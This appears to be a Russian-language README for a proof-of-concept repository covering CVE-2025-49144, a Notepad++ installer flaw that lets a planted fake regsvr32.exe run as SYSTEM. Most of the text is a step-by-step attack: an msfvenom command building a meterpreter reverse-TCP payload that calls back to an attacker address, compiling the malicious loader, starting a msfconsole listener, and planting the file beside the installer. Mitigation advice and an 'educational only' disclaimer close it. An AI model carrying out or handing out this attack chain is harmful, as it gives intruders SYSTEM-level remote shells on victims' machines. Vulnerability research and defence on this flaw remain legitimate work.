CVE-2025-49144_PoC

📌 CVE-2025-49144 — это уязвимость локального повышения привилегий высокой степени серьезности, обнаруженная в установщиках Notepad++ версии 8.8.1 и более ранних. Эта уязвимость возникает из-за неконтролируемого поведения пути поиска исполняемых файлов во время установки, что позволяет локальному злоумышленнику получить привилегии уровня SYSTEM, помещая вредоносные исполняемые файлы в тот же каталог, что и установщик.

⚙️ Как работает CVE – пошагово:

🧱 1. Что пошло не так в установщике?

Установщик Notepad++ (до версии 8.8.2) вызывает regsvr32.exe для регистрации некоторых компонентов, но делает это без указания полного пути (например, C:\Windows\System32\regsvr32.exe).

Вместо этого он просто выполняет:

regsvr32.exe some_dll

📂 2. Поведение пути поиска Windows:

Когда исполняемый файл запускается без полного пути, Windows использует определенный порядок поиска для его нахождения:

1. Папка, из которой было запущено приложение (например, Downloads)
2. Системная папка (System32)
3. Папка Windows
4. Текущий рабочий каталог
5. Пути в переменной окружения PATH

Таким образом, если поддельный regsvr32.exe помещен в ту же папку, что и установщик (например, Downloads), Windows будет использовать его раньше настоящего.

💣 3. Эксплуатация:

- Злоумышленник помещает вредоносный regsvr32.exe в ту же папку, что и легитимный установщик Notepad++ (например, в папку Downloads жертвы).

- Жертва запускает установщик (думая, что он безопасен).

- Установщик вызывает regsvr32.exe, но в итоге выполняет вредоносный из той же папки — с привилегиями SYSTEM (поскольку установщики обычно запрашивают права администратора).

- Полезная нагрузка злоумышленника теперь работает как NT AUTHORITY\SYSTEM.

⚙️ Шаги для воспроизведения:

1. Получить шелл-код:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<your-ip> LPORT=4444 -f c > shellcode.txt

2. Скачайте файл "regsvr32_loader.c" и отредактируйте его.
3. Вставьте весь шелл-код из shellcode.txt в указанный комментарий.
4. Скомпилируйте в regsvr32.exe:

x86_64-w64-mingw32-gcc regsvr32_loader.c -o regsvr32.exe -mwindows

5. Запустите слушатель meterpreter:

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST X.X.X.X
set LPORT 4444
run

6. Скачайте уязвимую версию Notepad++, т.е. версию до 8.8.1, так как 8.8.1 теперь обновляется автоматически.For PoC я использовал Notepad++ v8.6.8
7. Переместите файл "regsvr32.exe" в систему Windows в ту же папку, где находится установщик notepad++, вероятно, в папку Downloads.
8. Завершите установку установщика Notepad++.

Примечание: Это PoC, поэтому тестирование проводилось с отключенными Защитником Windows и защитой в реальном времени.

✅ Смягчение

Пользователям и администраторам следует:

• Обновить Notepad++ до версии 8.8.2 или выше
• Ограничить установку программного обеспечения доверенными администраторами
• Использовать AppLocker, WDAC или политики ограничения программ (SRP) для:
  • Блокировки выполнения из папок, доступных для записи пользователями (например, Downloads)
  • Предотвращения выполнения недоверенных двоичных файлов, таких как regsvr32.exe, из неавторизованных путей
  • Принудительной проверки подписей кода для исполняемых файлов

Группам безопасности следует регулярно аудировать пути установки, контролировать права на запись и наблюдать за поведением во время выполнения установщика, чтобы уменьшить поверхность атаки.

🏷️ Лицензия

Лицензия MIT — Бесплатно только для образовательных, исследовательских и защитных целей.

🤝 Вклад

Приветствуются запросы на слияние (Pull Requests) — улучшайте обнаружение, добавляйте функции или предлагайте исправления.

⚠️ Отказ от ответственности

Этот PoC предназначен только для образовательных и исследовательских целей. Используйте его на свой страх и риск. Автор не несет ответственности за любое неправомерное использование или причиненный ущерб.